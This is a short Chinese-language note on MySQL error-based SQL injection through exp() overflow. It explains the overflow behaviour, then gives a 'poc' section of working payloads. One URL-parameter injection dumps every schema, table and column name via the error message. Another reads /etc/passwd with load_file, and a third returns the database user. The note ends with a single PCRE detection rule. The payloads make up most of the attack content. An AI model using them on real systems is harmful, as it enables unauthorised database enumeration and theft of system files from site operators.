msg
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
exp()即为以e为底的对数函数,即求解e的710次方,当传递一个大于709的值时,函数exp()就会引起一个溢出错误。
select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
则exp(~0) ~表示按位取反,则select exp(~0) 一定会出错
poc
?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
exp(~(select*from(select load_file('/etc/passwd'))a))
exp(~(select*from(select user())x)) #select user() 命名为x
在脚本语言中,就会将错误中的一些表达式转化成相应的字符串,即像这样
检测
pcre:"/exp\x28\x7E\x28/i"